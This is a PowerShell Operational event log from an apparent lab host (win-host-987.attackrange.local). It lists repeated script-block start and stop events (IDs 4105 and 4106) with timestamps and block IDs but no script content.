Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042180
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042179
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042178
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042177
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042176
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042175
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042174
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042173
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042172
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042171
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042170
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042169
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042168
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042167
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042166
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042165
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042164
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042163
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042162
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042161
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042160
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042159
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042158
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042157
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042156
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042155
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042154
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042153
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042152
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042151
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042150
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042149
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042148
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042147
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042146
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042145
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042144
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042143
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042142
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042141
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042140
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042139
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042138
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042137
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042136
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042135
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042134
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042133
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042132
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042131
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042130
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2042129
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2042128
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
